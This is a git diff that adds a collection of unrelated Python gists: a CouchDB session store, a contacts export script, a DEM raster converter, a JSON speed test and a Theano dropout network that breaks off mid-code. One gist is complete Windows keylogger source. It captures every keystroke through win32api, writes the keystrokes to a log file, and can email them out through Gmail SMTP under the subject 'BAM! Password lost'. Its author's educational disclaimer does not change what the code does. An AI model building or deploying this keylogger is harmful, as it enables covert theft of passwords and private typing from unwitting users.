+        try:
+            data = self.couch.get(self.prefix + sid)
+            return self.session_class(data.value, sid=sid)
+        except NotFoundError:
+            pass
+        return self.session_class(sid=sid, new=True)
+
+    def save_session(self, app, session, response):
+        domain = self.get_cookie_domain(app)
+        if not session:
+            try:
+                self.couch.delete(self.prefix + session.sid)
+            except NotFoundError:
+                pass
+            if session.modified:
+                response.delete_cookie(app.session_cookie_name,
+                                       domain=domain)
+            return
+        couch_exp = self.get_couch_expiration_time(app, session)
+        cookie_exp = self.get_expiration_time(app, session)
+        self.couch.set(self.prefix + session.sid, dict(session),
+                        format=self.serializer,
+                        ttl=int(couch_exp.total_seconds()))
+        response.set_cookie(app.session_cookie_name, session.sid,
+                            expires=cookie_exp, httponly=True,
+                            domain=domain)
diff --git a/hard-gists/8974ac739d1ac9f60423/._snippet.py b/hard-gists/8974ac739d1ac9f60423/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8974ac739d1ac9f60423/._snippet.py differ
diff --git a/hard-gists/8974ac739d1ac9f60423/snippet.py b/hard-gists/8974ac739d1ac9f60423/snippet.py
new file mode 100644
index 00000000..ab2fd068
--- /dev/null
+++ b/hard-gists/8974ac739d1ac9f60423/snippet.py
@@ -0,0 +1,185 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+#
+#  win32_keylogger.pyw
+#  
+#  Copyright 2015 Ericson Willians (Rederick Deathwill) <EricsonWRP@ERICSONWRP-PC>
+#  
+#  This program is free software; you can redistribute it and/or modify
+#  it under the terms of the GNU General Public License as published by
+#  the Free Software Foundation; either version 2 of the License, or
+#  (at your option) any later version.
+#  
+#  This program is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU General Public License for more details.
+#  
+#  You should have received a copy of the GNU General Public License
+#  along with this program; if not, write to the Free Software
+#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+#  MA 02110-1301, USA.
+#  
+#  ===============================================================================
+#
+#  I wrote this script in order to learn how to make a keylogger (For curiosity).
+#  I'm making it available so that you can learn from it.
+#  I did not make it too advanced (Monitoring shifts, alts, arrows, numlock, delete and so on),
+#  Because it is not my intention to really use it (And cause harm).
+#  Remember: Hack to learn, don't learn to hack!
+#
+#
+
+import win32api
+import smtplib
+from email.mime.multipart import MIMEMultipart
+from email.mime.text import MIMEText
+
+DEFAULT_PATH = 'log.txt'
+SMTP_SERVER = 'smtp.gmail.com'
+SMTP_PORT = 587
+EMAIL = 'include_your_gmail_here@gmail.com'
+PASSWORD = 'include_your_gmail_password_here'
+PATH_MODE = 1
+EMAIL_MODE = 0
+NUMBER_OF_KEYS = 256
+
+VK = {
+		20: 'caps_lock',
+		27: 'esc',
+		32: 'spacebar',
+		48: '0',
+		49: '1',
+		50: '2',
+		51: '3',
+		52: '4',
+		53: '5',
+		54: '6',
+		55: '7',
+		56: '8',
+		57: '9',
+		65: 'a',
+		66: 'b',
+		67: 'c',
+		68: 'd',
+		69: 'e',
+		70: 'f',
+		71: 'g',
+		72: 'h',
+		73: 'i',
+		74: 'j',
+		75: 'k',
+		76: 'l',
+		77: 'm',
+		78: 'n',
+		79: 'o',
+		80: 'p',
+		81: 'q',
+		82: 'r',
+		83: 's',
+		84: 't',
+		85: 'u',
+		86: 'v',
+		87: 'w',
+		88: 'x',
+		89: 'y',
+		90: 'z',
+		96: 'numpad_0',
+		97: 'numpad_1',
+		98: 'numpad_2',
+		99: 'numpad_3',
+		100: 'numpad_4',
+		101: 'numpad_5',
+		102: 'numpad_6',
+		103: 'numpad_7',
+		104: 'numpad_8',
+		105: 'numpad_9',
+		186: ';',
+		187: '+',
+		188: ',',
+		189: '-',
+		190: '.',
+		191: '/',
+		192: '`',
+		219: '[',
+		220: '\\',
+		221: ']',
+		222: "'",}
+
+def get_key_state(vk_code):
+	state = int(win32api.GetKeyState(vk_code))
+	if state == 1:
+		return 1 # Key is on.
+	elif state == 0:
+		return 0 # Key is off.
+	else:
+		return -1 
+		
+def press_key(vk_code):
+    state = int(win32api.GetKeyState(vk_code))
+    if state == -127 or state == -128:
+        return 1 # Key was pressed.
+    else:
+        return 0 # Key was released.
+
+if __name__ == "__main__":
+	
+	log_mode = PATH_MODE # Change to EMAIL_MODE in order to send an email to yourself.
+	msg = MIMEMultipart('alternative')
+	msg['Subject'] = "BAM! Password lost."
+	msg['From'] = EMAIL
+	msg['To'] = EMAIL
+	
+	key_states = [False for n in range(NUMBER_OF_KEYS)]
+	key = 0
+	chars = []
+	upper = False
+	
+	def _write(c):
+		if log_mode == PATH_MODE:
+			with open(DEFAULT_PATH, 'a') as _file:
+				_file.write(c)
+		elif log_mode == EMAIL_MODE:
+			chars.append(c)
+	
+	def _send():
+		msg.attach(MIMEText(''.join(chars)))
+		mail = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
+	#	mail.set_debuglevel(1)
+		mail.ehlo()
+		mail.starttls()
+		mail.login(EMAIL, PASSWORD)
+		mail.sendmail(EMAIL, EMAIL, msg.as_string())
+		mail.quit()
+	
+	while key < NUMBER_OF_KEYS:
+		if get_key_state(20):
+			upper = True
+		else:
+			upper = False
+		if key == NUMBER_OF_KEYS-1: 
+			key = 0
+		else:
+			try:
+				if press_key(key):
+					if not key_states[key]:
+						key_states[key] = True
+						if VK[key] == 'esc':
+							if log_mode == EMAIL_MODE:
+								_send()
+							exit()
+						elif VK[key] == 'spacebar':
+							char = ' '
+						elif VK[key] == 'caps_lock':
+							char = ''
+						else:
+							if upper:
+								char = VK[key].upper()
+							else:
+								char = VK[key]
+						_write(char)
+				else:
+					key_states[key] = False
+			except KeyError:
+				pass
+		key += 1
diff --git a/hard-gists/8982669/._snippet.py b/hard-gists/8982669/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8982669/._snippet.py differ
diff --git a/hard-gists/8982669/snippet.py b/hard-gists/8982669/snippet.py
new file mode 100644
index 00000000..0992bd5e
--- /dev/null
+++ b/hard-gists/8982669/snippet.py
@@ -0,0 +1,11 @@
+import console, contacts, feedparser, sys, urllib, webbrowser
+console.clear()
+outp = ['**{}**\n{}'.format(p.full_name, p.note)
+           for p in contacts.get_all_people() if p.note]
+if not outp:
+    sys.exit('No output!!')
+dayone_entry = 'Address Book Notes\n{}\n\n#people'.format('\n\n'.join(outp))
+print(dayone_entry)
+if not raw_input('-- Press enter to import'):
+    dayone_entry = urllib.quote(dayone_entry.encode('utf-8'))
+    webbrowser.open('dayone://post?entry=' + dayone_entry)
\ No newline at end of file
diff --git a/hard-gists/8983536/._snippet.py b/hard-gists/8983536/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8983536/._snippet.py differ
diff --git a/hard-gists/8983536/snippet.py b/hard-gists/8983536/snippet.py
new file mode 100644
index 00000000..edfb719a
--- /dev/null
+++ b/hard-gists/8983536/snippet.py
@@ -0,0 +1,46 @@
+import numpy as np
+import rasterio
+
+"""
+2014-02-13
+Bryan Luman
+Use it however you like at your own risk
+
+Problem:
+I have a huge DEM converted from LiDAR LAS points. I'd like to make it slightly
+less massive for further processing.
+
+All my z values are between 682 and 869 feet stored as float32. If I convert
+them to centimeters and they will fit well within a 16 bit unsigned integer.
+
+This saves a significant amount of storage space and greatly reduces any type
+of future analysis.
+
+"""
+
+CM_IN_FOOT = 30.48
+
+with rasterio.drivers():
+    with rasterio.open('massive_dem_as_float') as src:
+        kwargs = src.meta
+        kwargs.update(
+            driver='GTiff',
+            dtype=rasterio.uint16,
+            count=1,
+            compress='lzw',
+            nodata=0,
+            bigtiff='YES' # Output will be larger than 4GB
+        )
+    
+        windows = src.block_windows(1)
+
+        with rasterio.open('less_massive_dem_with_as_int.tif', 'w', **kwargs) as dst:
+            for idx, window in windows:
+                src_data = src.read_band(1, window=window)
+
+                # Source nodata value is a very small negative number
+                # Converting in to zero for the output raster
+                np.putmask(src_data, src_data < 0, 0)
+
+                dst_data = (src_data * CM_IN_FOOT).astype(rasterio.uint16)
+                dst.write_band(1, dst_data, window=window)
\ No newline at end of file
diff --git a/hard-gists/899524/._snippet.py b/hard-gists/899524/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/899524/._snippet.py differ
diff --git a/hard-gists/899524/snippet.py b/hard-gists/899524/snippet.py
new file mode 100644
index 00000000..c73fd906
--- /dev/null
+++ b/hard-gists/899524/snippet.py
@@ -0,0 +1,40 @@
+# Adapted from http://j2labs.tumblr.com/post/4262756632/speed-tests-for-json-and-cpickle-in-python
+
+import time
+import cPickle as pickle
+import simplejson
+import json
+import cjson
+import jsonlib
+import ujson
+
+
+cjson.dumps = cjson.encode
+cjson.loads = cjson.decode
+
+
+def test_mod(mod, iters=1000000):
+    d = {
+        'foo': 'bar',
+        'food': 'barf',
+        'good': 'bars',
+        'dood': 'wheres your car?',
+        'wheres your car': 'dude?',
+    }
+
+    print 'Starting %s...' % mod.__name__
+    start = time.time()
+    for i in xrange(iters):
+        s = mod.dumps(d)
+    write = time.time() - start
+
+    start = time.time()
+    for i in xrange(iters):
+        dl = mod.loads(s)
+    read = time.time() - start
+
+    print 'Read: %f, Write: %f, Total %f' % (read, write, read + write)
+
+to_test = [cjson, ujson, json, simplejson, pickle, jsonlib]
+for mod in to_test:
+    test_mod(mod)
diff --git a/hard-gists/8a0f820261926e2f41cc/._snippet.py b/hard-gists/8a0f820261926e2f41cc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8a0f820261926e2f41cc/._snippet.py differ
diff --git a/hard-gists/8a0f820261926e2f41cc/snippet.py b/hard-gists/8a0f820261926e2f41cc/snippet.py
new file mode 100644
index 00000000..4494b29f
--- /dev/null
+++ b/hard-gists/8a0f820261926e2f41cc/snippet.py
@@ -0,0 +1,737 @@
+"""
+A deep neural network with or w/o dropout in one file.
+
+License: Do What The Fuck You Want to Public License http://www.wtfpl.net/
+"""
+
+import numpy, theano, sys, math
+from theano import tensor as T
+from theano import shared
+from theano.tensor.shared_randomstreams import RandomStreams
+from collections import OrderedDict
+
+BATCH_SIZE = 100
+
+
+def relu_f(vec):
+    """ Wrapper to quickly change the rectified linear unit function """
+    return (vec + abs(vec)) / 2.
+
+
+def dropout(rng, x, p=0.5):
+    """ Zero-out random values in x with probability p using rng """
+    if p > 0. and p < 1.:
+        seed = rng.randint(2 ** 30)
+        srng = theano.tensor.shared_randomstreams.RandomStreams(seed)
+        mask = srng.binomial(n=1, p=1.-p, size=x.shape,
+                dtype=theano.config.floatX)
+        return x * mask
+    return x
+
+
+def fast_dropout(rng, x):
+    """ Multiply activations by N(1,1) """
+    seed = rng.randint(2 ** 30)
+    srng = RandomStreams(seed)
+    mask = srng.normal(size=x.shape, avg=1., dtype=theano.config.floatX)
+    return x * mask
+
+
+def build_shared_zeros(shape, name):
+    """ Builds a theano shared variable filled with a zeros numpy array """
+    return shared(value=numpy.zeros(shape, dtype=theano.config.floatX),
+            name=name, borrow=True)
+
+
+class Linear(object):
+    """ Basic linear transformation layer (W.X + b) """
+    def __init__(self, rng, input, n_in, n_out, W=None, b=None, fdrop=False):
+        if W is None:
+            W_values = numpy.asarray(rng.uniform(
+                low=-numpy.sqrt(6. / (n_in + n_out)),
+                high=numpy.sqrt(6. / (n_in + n_out)),
+                size=(n_in, n_out)), dtype=theano.config.floatX)
+            W_values *= 4  # This works for sigmoid activated networks!
+            W = theano.shared(value=W_values, name='W', borrow=True)
+        if b is None:
+            b = build_shared_zeros((n_out,), 'b')
+        self.input = input
+        self.W = W
+        self.b = b
+        self.params = [self.W, self.b]
+        self.output = T.dot(self.input, self.W) + self.b
+        if fdrop:
+            self.output = fast_dropout(rng, self.output)
+
+    def __repr__(self):
+        return "Linear"
+
+
+class SigmoidLayer(Linear):
+    """ Sigmoid activation layer (sigmoid(W.X + b)) """
+    def __init__(self, rng, input, n_in, n_out, W=None, b=None, fdrop=False):
+        super(SigmoidLayer, self).__init__(rng, input, n_in, n_out, W, b)
+        self.pre_activation = self.output
+        if fdrop:
+            self.pre_activation = fast_dropout(rng, self.pre_activation)
+        self.output = T.nnet.sigmoid(self.pre_activation)
+
+
+class ReLU(Linear):
+    """ Rectified Linear Unit activation layer (max(0, W.X + b)) """
+    def __init__(self, rng, input, n_in, n_out, W=None, b=None, fdrop=False):
+        if b is None:
+            b = build_shared_zeros((n_out,), 'b')
+        super(ReLU, self).__init__(rng, input, n_in, n_out, W, b)
+        self.pre_activation = self.output
+        if fdrop:
+            self.pre_activation = fast_dropout(rng, self.pre_activation)
+        self.output = relu_f(self.pre_activation)
+
+
+class DatasetMiniBatchIterator(object):
+    """ Basic mini-batch iterator """
+    def __init__(self, x, y, batch_size=BATCH_SIZE, randomize=False):
+        self.x = x
+        self.y = y
+        self.batch_size = batch_size
+        self.randomize = randomize
+        from sklearn.utils import check_random_state
+        self.rng = check_random_state(42)
+
+    def __iter__(self):
+        n_samples = self.x.shape[0]
+        if self.randomize:
+            for _ in xrange(n_samples / BATCH_SIZE):
+                if BATCH_SIZE > 1:
+                    i = int(self.rng.rand(1) * ((n_samples+BATCH_SIZE-1) / BATCH_SIZE))
+                else:
+                    i = int(math.floor(self.rng.rand(1) * n_samples))
+                yield (i, self.x[i*self.batch_size:(i+1)*self.batch_size],
+                       self.y[i*self.batch_size:(i+1)*self.batch_size])
+        else:
+            for i in xrange((n_samples + self.batch_size - 1)
+                            / self.batch_size):
+                yield (self.x[i*self.batch_size:(i+1)*self.batch_size],
+                       self.y[i*self.batch_size:(i+1)*self.batch_size])
+
+
+class LogisticRegression:
+    """Multi-class Logistic Regression
+    """
+    def __init__(self, rng, input, n_in, n_out, W=None, b=None):
+        if W != None:
+            self.W = W
+        else:
+            self.W = build_shared_zeros((n_in, n_out), 'W')
+        if b != None:
+            self.b = b
+        else:
+            self.b = build_shared_zeros((n_out,), 'b')
+
+        # P(Y|X) = softmax(W.X + b)
+        self.p_y_given_x = T.nnet.softmax(T.dot(input, self.W) + self.b)
+        self.y_pred = T.argmax(self.p_y_given_x, axis=1)
+        self.output = self.y_pred
+        self.params = [self.W, self.b]
+
+    def negative_log_likelihood(self, y):
+        return -T.mean(T.log(self.p_y_given_x)[T.arange(y.shape[0]), y])
+
+    def negative_log_likelihood_sum(self, y):
+        return -T.sum(T.log(self.p_y_given_x)[T.arange(y.shape[0]), y])
+
+    def training_cost(self, y):
+        """ Wrapper for standard name """
+        return self.negative_log_likelihood_sum(y)
+
+    def errors(self, y):
+        if y.ndim != self.y_pred.ndim:
+            raise TypeError("y should have the same shape as self.y_pred",
+                ("y", y.type, "y_pred", self.y_pred.type))
+        if y.dtype.startswith('int'):
+            return T.mean(T.neq(self.y_pred, y))
+        else:
+            print("!!! y should be of int type")
+            return T.mean(T.neq(self.y_pred, numpy.asarray(y, dtype='int')))
+
+
+class NeuralNet(object):
+    """ Neural network (not regularized, without dropout) """
+    def __init__(self, numpy_rng, theano_rng=None, 
+                 n_ins=40*3,
+                 layers_types=[Linear, ReLU, ReLU, ReLU, LogisticRegression],
+                 layers_sizes=[1024, 1024, 1024, 1024],
+                 n_outs=62 * 3,
+                 rho=0.9,
+                 eps=1.E-6,
+                 max_norm=0.,
+                 debugprint=False):
+        """
+        Basic feedforward neural network.
+        """
+        self.layers = []
+        self.params = []
+        self.n_layers = len(layers_types)
+        self.layers_types = layers_types
+        assert self.n_layers > 0
+        self.max_norm = max_norm
+        self._rho = rho  # "momentum" for adadelta
+        self._eps = eps  # epsilon for adadelta
+        self._accugrads = []  # for adadelta
+        self._accudeltas = []  # for adadelta
+
+        if theano_rng == None:
+            theano_rng = RandomStreams(numpy_rng.randint(2 ** 30))
+
+        self.x = T.fmatrix('x')
+        self.y = T.ivector('y')
+        
+        self.layers_ins = [n_ins] + layers_sizes
+        self.layers_outs = layers_sizes + [n_outs]
+        
+        layer_input = self.x
+        
+        for layer_type, n_in, n_out in zip(layers_types,
+                self.layers_ins, self.layers_outs):
+            this_layer = layer_type(rng=numpy_rng,
+                    input=layer_input, n_in=n_in, n_out=n_out)
+            assert hasattr(this_layer, 'output')
+            self.params.extend(this_layer.params)
+            self._accugrads.extend([build_shared_zeros(t.shape.eval(),
+                'accugrad') for t in this_layer.params])
+            self._accudeltas.extend([build_shared_zeros(t.shape.eval(),
+                'accudelta') for t in this_layer.params])
+
+            self.layers.append(this_layer)
+            layer_input = this_layer.output
+
+        assert hasattr(self.layers[-1], 'training_cost')
+        assert hasattr(self.layers[-1], 'errors')
+        # TODO standardize cost
+        self.mean_cost = self.layers[-1].negative_log_likelihood(self.y)
+        self.cost = self.layers[-1].training_cost(self.y)
+        if debugprint:
+            theano.printing.debugprint(self.cost)
+
+        self.errors = self.layers[-1].errors(self.y)
+
+    def __repr__(self):
+        dimensions_layers_str = map(lambda x: "x".join(map(str, x)),
+                                    zip(self.layers_ins, self.layers_outs))
+        return "_".join(map(lambda x: "_".join((x[0].__name__, x[1])),
+                            zip(self.layers_types, dimensions_layers_str)))
+
+
+    def get_SGD_trainer(self):
+        """ Returns a plain SGD minibatch trainer with learning rate as param.
+        """
+        batch_x = T.fmatrix('batch_x')
+        batch_y = T.ivector('batch_y')
+        learning_rate = T.fscalar('lr')  # learning rate to use
+        # compute the gradients with respect to the model parameters
+        # using mean_cost so that the learning rate is not too dependent
+        # on the batch size
+        gparams = T.grad(self.mean_cost, self.params)
+
+        # compute list of weights updates
+        updates = OrderedDict()
+        for param, gparam in zip(self.params, gparams):
+            if self.max_norm:
+                W = param - gparam * learning_rate
+                col_norms = W.norm(2, axis=0)
+                desired_norms = T.clip(col_norms, 0, self.max_norm)
+                updates[param] = W * (desired_norms / (1e-6 + col_norms))
+            else:
+                updates[param] = param - gparam * learning_rate
+
+        train_fn = theano.function(inputs=[theano.Param(batch_x),
+                                           theano.Param(batch_y),
+                                           theano.Param(learning_rate)],
+                                   outputs=self.mean_cost,
+                                   updates=updates,
+                                   givens={self.x: batch_x, self.y: batch_y})
+
+        return train_fn
+
+
+    def get_adagrad_trainer(self):
+        """ Returns an Adagrad (Duchi et al. 2010) trainer using a learning rate.
+        """
+        batch_x = T.fmatrix('batch_x')
+        batch_y = T.ivector('batch_y')
+        learning_rate = T.fscalar('lr')  # learning rate to use
+        # compute the gradients with respect to the model parameters
+        gparams = T.grad(self.mean_cost, self.params)
+
+        # compute list of weights updates
+        updates = OrderedDict()
+        for accugrad, param, gparam in zip(self._accugrads, self.params, gparams):
+            # c.f. Algorithm 1 in the Adadelta paper (Zeiler 2012)
+            agrad = accugrad + gparam * gparam
+            dx = - (learning_rate / T.sqrt(agrad + self._eps)) * gparam
+            if self.max_norm:
+                W = param + dx
+                col_norms = W.norm(2, axis=0)
+                desired_norms = T.clip(col_norms, 0, self.max_norm)
+                updates[param] = W * (desired_norms / (1e-6 + col_norms))
+            else:
+                updates[param] = param + dx
+            updates[accugrad] = agrad
+
+        train_fn = theano.function(inputs=[theano.Param(batch_x), 
+            theano.Param(batch_y),
+            theano.Param(learning_rate)],
+            outputs=self.mean_cost,
+            updates=updates,
+            givens={self.x: batch_x, self.y: batch_y})
+
+        return train_fn
+
+    def get_adadelta_trainer(self):
+        """ Returns an Adadelta (Zeiler 2012) trainer using self._rho and
+        self._eps params.
+        """
+        batch_x = T.fmatrix('batch_x')
+        batch_y = T.ivector('batch_y')
+        # compute the gradients with respect to the model parameters
+        gparams = T.grad(self.mean_cost, self.params)
+
+        # compute list of weights updates
+        updates = OrderedDict()
+        for accugrad, accudelta, param, gparam in zip(self._accugrads,
+                self._accudeltas, self.params, gparams):
+            # c.f. Algorithm 1 in the Adadelta paper (Zeiler 2012)
+            agrad = self._rho * accugrad + (1 - self._rho) * gparam * gparam
+            dx = - T.sqrt((accudelta + self._eps)
+                          / (agrad + self._eps)) * gparam
+            updates[accudelta] = (self._rho * accudelta
+                                  + (1 - self._rho) * dx * dx)
+            if self.max_norm:
+                W = param + dx
+                col_norms = W.norm(2, axis=0)
+                desired_norms = T.clip(col_norms, 0, self.max_norm)
+                updates[param] = W * (desired_norms / (1e-6 + col_norms))
+            else:
+                updates[param] = param + dx
+            updates[accugrad] = agrad
+
+        train_fn = theano.function(inputs=[theano.Param(batch_x),
+                                           theano.Param(batch_y)],
+                                   outputs=self.mean_cost,
+                                   updates=updates,
+                                   givens={self.x: batch_x, self.y: batch_y})
+
+        return train_fn
+
+    def score_classif(self, given_set):
+        """ Returns functions to get current classification errors. """
+        batch_x = T.fmatrix('batch_x')
+        batch_y = T.ivector('batch_y')
+        score = theano.function(inputs=[theano.Param(batch_x),
+                                        theano.Param(batch_y)],
+                                outputs=self.errors,
+                                givens={self.x: batch_x, self.y: batch_y})
+
+        def scoref():
+            """ returned function that scans the entire set given as input """
+            return [score(batch_x, batch_y) for batch_x, batch_y in given_set]
+
+        return scoref
+
+
+class RegularizedNet(NeuralNet):
+    """ Neural net with L1 and L2 regularization """
+    def __init__(self, numpy_rng, theano_rng=None,
+                 n_ins=100,
+                 layers_types=[ReLU, ReLU, ReLU, LogisticRegression],
+                 layers_sizes=[1024, 1024, 1024],
+                 n_outs=2,
+                 rho=0.9,
+                 eps=1.E-6,
+                 L1_reg=0.,
+                 L2_reg=0.,
+                 max_norm=0.,
+                 debugprint=False):
+        """
+        Feedforward neural network with added L1 and/or L2 regularization.
+        """
+        super(RegularizedNet, self).__init__(numpy_rng, theano_rng, n_ins,
+                layers_types, layers_sizes, n_outs, rho, eps, max_norm,
+                debugprint)
+
+        L1 = shared(0.)
+        for param in self.params:
+            L1 += T.sum(abs(param))
+        if L1_reg > 0.:
+            self.cost = self.cost + L1_reg * L1
+        L2 = shared(0.)
+        for param in self.params:
+            L2 += T.sum(param ** 2)
+        if L2_reg > 0.:
+            self.cost = self.cost + L2_reg * L2
+
+
+class DropoutNet(NeuralNet):
+    """ Neural net with dropout (see Hinton's et al. paper) """
+    def __init__(self, numpy_rng, theano_rng=None,
+                 n_ins=40*3,
+                 layers_types=[ReLU, ReLU, ReLU, ReLU, LogisticRegression],
+                 layers_sizes=[4000, 4000, 4000, 4000],
+                 dropout_rates=[0.2, 0.5, 0.5, 0.5, 0.5],
+                 n_outs=62 * 3,
+                 rho=0.9,
+                 eps=1.E-6,
+                 max_norm=0.,
+                 fast_drop=False,
+                 debugprint=False):
+        """
+        Feedforward neural network with dropout regularization.
+        """
+        super(DropoutNet, self).__init__(numpy_rng, theano_rng, n_ins,
+                layers_types, layers_sizes, n_outs, rho, eps, max_norm,
+                debugprint)
+
+        self.dropout_rates = dropout_rates
+        if fast_drop:
+            if dropout_rates[0]:
+                dropout_layer_input = fast_dropout(numpy_rng, self.x)
+            else:
+                dropout_layer_input = self.x
+        else:
+            dropout_layer_input = dropout(numpy_rng, self.x, p=dropout_rates[0])
+        self.dropout_layers = []
+
+        for layer, layer_type, n_in, n_out, dr in zip(self.layers,
+                layers_types, self.layers_ins, self.layers_outs,
+                dropout_rates[1:] + [0]):  # !!! we do not dropout anything
+                                           # from the last layer !!!
+            if dr:
+                if fast_drop:
+                    this_layer = layer_type(rng=numpy_rng,
+                            input=dropout_layer_input, n_in=n_in, n_out=n_out,
+                            W=layer.W, b=layer.b, fdrop=True)
+                else:
+                    this_layer = layer_type(rng=numpy_rng,
+                            input=dropout_layer_input, n_in=n_in, n_out=n_out,
+                            W=layer.W * 1. / (1. - dr),
+                            b=layer.b * 1. / (1. - dr))
+                    # N.B. dropout with dr==1 does not dropanything!!
+                    this_layer.output = dropout(numpy_rng, this_layer.output, dr)
+            else:
+                this_layer = layer_type(rng=numpy_rng,
+                        input=dropout_layer_input, n_in=n_in, n_out=n_out,
+                        W=layer.W, b=layer.b)
+
+            assert hasattr(this_layer, 'output')
+            self.dropout_layers.append(this_layer)
+            dropout_layer_input = this_layer.output
+
+        assert hasattr(self.layers[-1], 'training_cost')
+        assert hasattr(self.layers[-1], 'errors')
+        # these are the dropout costs
+        self.mean_cost = self.dropout_layers[-1].negative_log_likelihood(self.y)
+        self.cost = self.dropout_layers[-1].training_cost(self.y)
+
+        # these is the non-dropout errors
+        self.errors = self.layers[-1].errors(self.y)
+
+    def __repr__(self):
+        return super(DropoutNet, self).__repr__() + "\n"\
+                + "dropout rates: " + str(self.dropout_rates)
+
+
+def add_fit_and_score(class_to_chg):
+    """ Mutates a class to add the fit() and score() functions to a NeuralNet.
+    """
+    from types import MethodType
+    def fit(self, x_train, y_train, x_dev=None, y_dev=None,
+            max_epochs=100, early_stopping=True, split_ratio=0.1,
+            method='adadelta', verbose=False, plot=False):
+        """
+        Fits the neural network to `x_train` and `y_train`. 
+        If x_dev nor y_dev are not given, it will do a `split_ratio` cross-
+        validation split on `x_train` and `y_train` (for early stopping).
+        """
+        import time, copy
+        if x_dev == None or y_dev == None:
+            from sklearn.cross_validation import train_test_split
+            x_train, x_dev, y_train, y_dev = train_test_split(x_train, y_train,
+                    test_size=split_ratio, random_state=42)
+        if method == 'sgd':
+            train_fn = self.get_SGD_trainer()
+        elif method == 'adagrad':
+            train_fn = self.get_adagrad_trainer()
+        elif method == 'adadelta':
+            train_fn = self.get_adadelta_trainer()
+        train_set_iterator = DatasetMiniBatchIterator(x_train, y_train)
+        dev_set_iterator = DatasetMiniBatchIterator(x_dev, y_dev)
+        train_scoref = self.score_classif(train_set_iterator)
+        dev_scoref = self.score_classif(dev_set_iterator)
+        best_dev_loss = numpy.inf
+        epoch = 0
+        # TODO early stopping (not just cross val, also stop training)
+        if plot:
+            verbose = True
+            self._costs = []
+            self._train_errors = []
+            self._dev_errors = []
+            self._updates = []
+
+        while epoch < max_epochs:
+            if not verbose:
+                sys.stdout.write("\r%0.2f%%" % (epoch * 100./ max_epochs))
+                sys.stdout.flush()
+            avg_costs = []
+            timer = time.time()
+            for x, y in train_set_iterator:
+                if method == 'sgd' or method == 'adagrad':
+                    avg_cost = train_fn(x, y, lr=1.E-2)  # TODO: you have to
+                                                         # play with this
+                                                         # learning rate
+                                                         # (dataset dependent)
+                elif method == 'adadelta':
+                    avg_cost = train_fn(x, y)
+                if type(avg_cost) == list:
+                    avg_costs.append(avg_cost[0])
+                else:
+                    avg_costs.append(avg_cost)
+            if verbose:
+                mean_costs = numpy.mean(avg_costs)
+                mean_train_errors = numpy.mean(train_scoref())
+                print('  epoch %i took %f seconds' %
+                      (epoch, time.time() - timer))
+                print('  epoch %i, avg costs %f' %
+                      (epoch, mean_costs))
+                print('  epoch %i, training error %f' %
+                      (epoch, mean_train_errors))
+                if plot:
+                    self._costs.append(mean_costs)
+                    self._train_errors.append(mean_train_errors)
+            dev_errors = numpy.mean(dev_scoref())
+            if plot:
+                self._dev_errors.append(dev_errors)
+            if dev_errors < best_dev_loss:
+                best_dev_loss = dev_errors
+                best_params = copy.deepcopy(self.params)
+                if verbose:
+                    print('!!!  epoch %i, validation error of best model %f' %
+                          (epoch, dev_errors))
+            epoch += 1
+        if not verbose:
+            print("")
+        for i, param in enumerate(best_params):
+            self.params[i] = param
+
+    def score(self, x, y):
+        """ error rates """
+        iterator = DatasetMiniBatchIterator(x, y)
+        scoref = self.score_classif(iterator)
+        return numpy.mean(scoref())
+
+    class_to_chg.fit = MethodType(fit, None, class_to_chg)
+    class_to_chg.score = MethodType(score, None, class_to_chg)
+
+
+if __name__ == "__main__":
+    add_fit_and_score(DropoutNet)
+    add_fit_and_score(RegularizedNet)
+
+    def nudge_dataset(X, Y):
+        """
+        This produces a dataset 5 times bigger than the original one,
+        by moving the 8x8 images in X around by 1px to left, right, down, up
+        """
+        from scipy.ndimage import convolve
+        direction_vectors = [
+            [[0, 1, 0],
+             [0, 0, 0],
+             [0, 0, 0]],
+            [[0, 0, 0],
+             [1, 0, 0],
+             [0, 0, 0]],
+            [[0, 0, 0],
+             [0, 0, 1],
+             [0, 0, 0]],
+            [[0, 0, 0],
+             [0, 0, 0],
+             [0, 1, 0]]]
+        shift = lambda x, w: convolve(x.reshape((8, 8)), mode='constant',
+                                      weights=w).ravel()
+        X = numpy.concatenate([X] +
+                              [numpy.apply_along_axis(shift, 1, X, vector)
+                                  for vector in direction_vectors])
+        Y = numpy.concatenate([Y for _ in range(5)], axis=0)
+        return X, Y
+
+    from sklearn import datasets, svm, naive_bayes
+    from sklearn import cross_validation, preprocessing
+    MNIST = True  # MNIST dataset
+    DIGITS = False  # digits dataset
+    FACES = True  # faces dataset
+    TWENTYNEWSGROUPS = False  # 20 newgroups dataset
+    VERBOSE = True  # prints evolution of the loss/accuracy during the fitting
+    SCALE = True  # scale the dataset
+    PLOT = True  # plot losses and accuracies
+
+    def train_models(x_train, y_train, x_test, y_test, n_features, n_outs,
+            use_dropout=True, n_epochs=100, numpy_rng=None,
+            svms=False, nb=False, deepnn=True, name=''):
+        if svms:
+            print("Linear SVM")
+            classifier = svm.SVC(gamma=0.001)
+            print(classifier)
+            classifier.fit(x_train, y_train)
+            print("score: %f" % classifier.score(x_test, y_test))
+
+            print("RBF-kernel SVM")
+            classifier = svm.SVC(kernel='rbf', class_weight='auto')
+            print(classifier)
+            classifier.fit(x_train, y_train)
+            print("score: %f" % classifier.score(x_test, y_test))
+
+        if nb:
+            print("Multinomial Naive Bayes")
+            classifier = naive_bayes.MultinomialNB()
+            print(classifier)
+            classifier.fit(x_train, y_train)
+            print("score: %f" % classifier.score(x_test, y_test))
+
+        if deepnn:
+            import warnings
+            warnings.filterwarnings("ignore")  # TODO remove
+
+            if use_dropout:
+                #n_epochs *= 4  TODO
+                pass
+
+            def new_dnn(dropout=False):
+                if dropout:
+                    print("Dropout DNN")
+                    return DropoutNet(numpy_rng=numpy_rng, n_ins=n_features,
